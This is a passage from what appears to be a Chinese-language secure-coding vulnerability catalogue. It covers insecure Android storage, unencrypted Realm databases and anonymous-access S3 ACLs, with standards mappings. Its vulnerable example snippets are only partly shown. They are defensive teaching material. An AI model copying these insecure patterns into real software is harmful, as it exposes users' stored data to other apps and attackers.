[2] Android Developers API Guide: Data Backup Android
[3] Standards Mapping - Common Weakness Enumeration CWE ID 359
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: Android External Storage
ABSTRACT
程序将数据写入 Android 设备的外部存储。
EXPLANATION
保存到外部存储上的文件可随意读取,并且能够被启用 USB 海量存储来传输计算机上的文件的用户修改。另外,即便卸载了将文件写入外部存储卡的应用程序,这些文件也不会被删除。这些缺陷会危及写入存储的敏感信息,或者使攻击者能够通过修改程序所依赖的外部文件将恶意数据注入程序。
例 1:在以下代码中,Environment.getExternalStorageDirectory() 返回对 Android 设备外部存储的引用。
1 | private void WriteToFile(String what_to_write) { |
RECOMMENDATIONS
写入应用程序特定的位置,例如应用程序的 SQLite 数据库。Android 完全支持 SQLite 数据库。应用程序内的任意类都可以按名称访问您所创建的任意数据库,应用程序外的类则无法访问。 例 2:通过创建 SQLiteOpenHelper 的子类和替代 OnCreate() 方法来创建一个新的 SQLite 数据库。
1 | public class MyDbOpenHelper extends SQLiteOpenHelper { |
例 3:或者,写入设备的内部存储。默认情况下,保存到内部存储的文件是 Android 应用程序专用的。其他 应用程序和用户均无法访问它们。用户卸载该应用程序时,这些文件将随之删除。 在下列代码中,我们创建了一个专用文件并将其写入内部存储。我们声明了 Context.MODE_PRIVATE。 MODE_PRIVATE 会创建一个文件(或替换同名文件),并使其成为您应用程序的专用文件。
1 | String FILENAME = "hello_file"; |
REFERENCES
[1] Data Storage
[2] Paul McNamara Latest ‘lost’ laptop holds treasure-trove of unencrypted ATT payroll data Network World
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[6] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[10] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[13] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: Android World Readable or Writeable
ABSTRACT
应用程序使数据可供 Android 设备上的所有应用程序访问。
EXPLANATION
使用 MODE_WORLD_READBLE 或 MODE_WORLD_WRITEABLE 存储在 Android 内部存储中的数据可供设备上的所有应用程序访问。这不仅无法防止数据损坏,而且如果是敏感信息的话,可能违反用户隐私和安全事宜。
RECOMMENDATIONS
不要使用可读或可写工具将敏感数据保存在 Android 内部存储中。同时,不建议用此模式进行跨进程通信。而应考虑使用 ContentProvider 根据具体情况来设定和赋予权限。
REFERENCES
[1] Designing for Security Android
[2] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgartner, B. Friesleben Why Eve and Mallory Love Android:An Analysis of Android SSL (In)Security
[3] OWASP Top 10 Mobile Risks OWASP
[4] Standards Mapping - Common Weakness Enumeration CWE ID 359
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: HTTP Response Cache Leak
ABSTRACT
所述方法将 HTTP(S) 响应缓存安装在不安全的共享存储中。
EXPLANATION
HTTP(S) 响应中可能包含敏感数据,例如会话 Cookie 和 API 标记。 出于性能方面的考虑,URL 加载系统会对所有 HTTP(S) 响应进行缓存,将它们以未加密的形式存储在不安全的共享存储中。
示例 1: 以下代码将 HTTP(S) 响应缓存安装在共享存储空间:
1 | protected void onCreate(Bundle savedInstanceState) { |
RECOMMENDATIONS
为了防止第三方应用程序访问包含敏感数据的 HTTP(S) 响应,将缓存安装在专用的用户存储空间。
示例 2: 以下代码将 HTTP(S) 响应缓存安装在专用的用户空间:
1 | protected void onCreate(Bundle savedInstanceState) { |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311, CWE ID 312, CWE ID 313, CWE ID 522
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001350, CCI-002475
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.3 Service Authentication Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.1.1 Data Classification, 6.1.2 Data Classification, 6.1.3 Data Classification, 6.2.1 Algorithms, 8.1.6 General Data Protection, 8.1.6 General Data Protection, 8.2.2 Client-side Data Protection, 9.2.3 Server Communications Security Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography
[20] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[21] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: Missing Database Encryption
ABSTRACT
所标识的方法建立到未加密数据库的连接。
EXPLANATION
应用程序文件可以由根设备上或未加密备份中的其他应用程序访问。由于用户可以决定越狱其设备或执行未加密的备份,因此最好对包含敏感数据的数据库进行加密。
示例 1:以下代码建立到未加密的 Realm 数据库的连接:
`Realm realm = Realm.getDefaultInstance();`
RECOMMENDATIONS
根据用户配置,文件系统上的文件可以保持未加密状态。为了保护用户数据,最好对数据库进行加密。
示例 2:以下代码使用 Realm 数据库本机加密,这种加密使用 AES-256+SHA2 透明地保护静态数据库:
1 | RealmConfiguration realmConfiguration = new RealmConfiguration.Builder().encryptionKey(getKeyFromKeystore()).build(); |
要在单个设备上专门创建 Realm 文件以保证这些文件保留在设备上,最安全的方式将加密密钥保存到 Android Keystore。
REFERENCES
[1] Realm Database Encryption Realm
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.1.6 General Data Protection
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[20] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[21] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: S3 Full Anonymous Access
ABSTRACT
应用程序可授予对 AWS S3 存储桶或对象的完全匿名访问权限。
EXPLANATION
授予对存储桶或对象的完全匿名访问权限将允许攻击者读取内容或将其替换为恶意内容。
示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的完全匿名访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
RECOMMENDATIONS
始终应用最小权限原则并授予程序所需的最小权限集。
示例 2:以下代码设置的Access Control Policy可基于用户的电子邮件地址授予对单个用户的完全访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: S3 Read ACP Anonymous Access
ABSTRACT
应用程序可授予匿名读取 AWS S3 存储桶或对象的访问控制策略 (ACP) 的权限。
EXPLANATION
授予匿名读取存储桶或对象的访问控制策略 (ACP) 的权限将允许攻击者发现可以检索或覆盖的对象。
示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名读取 ACP 访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
RECOMMENDATIONS
始终应用最小权限原则并授予程序所需的最小权限集。
示例 2:以下代码设置的Access Control Policy可基于用户的电子邮件地址授予对单个用户的访问控制策略 (ACP) 读取访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: S3 Read Anonymous Access
ABSTRACT
应用程序可授予对 AWS S3 存储桶或对象的匿名读取访问权限。
EXPLANATION
授予对存储桶或对象的匿名读取访问权限将允许攻击者读取其内容。
示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名读取访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
RECOMMENDATIONS
始终应用最小权限原则并授予程序所需的最小权限集。
示例 2:以下代码设置的Access Control Policy可基于用户的电子邮件地址授予对单个用户的读取访问权限。
1 | GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build(); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
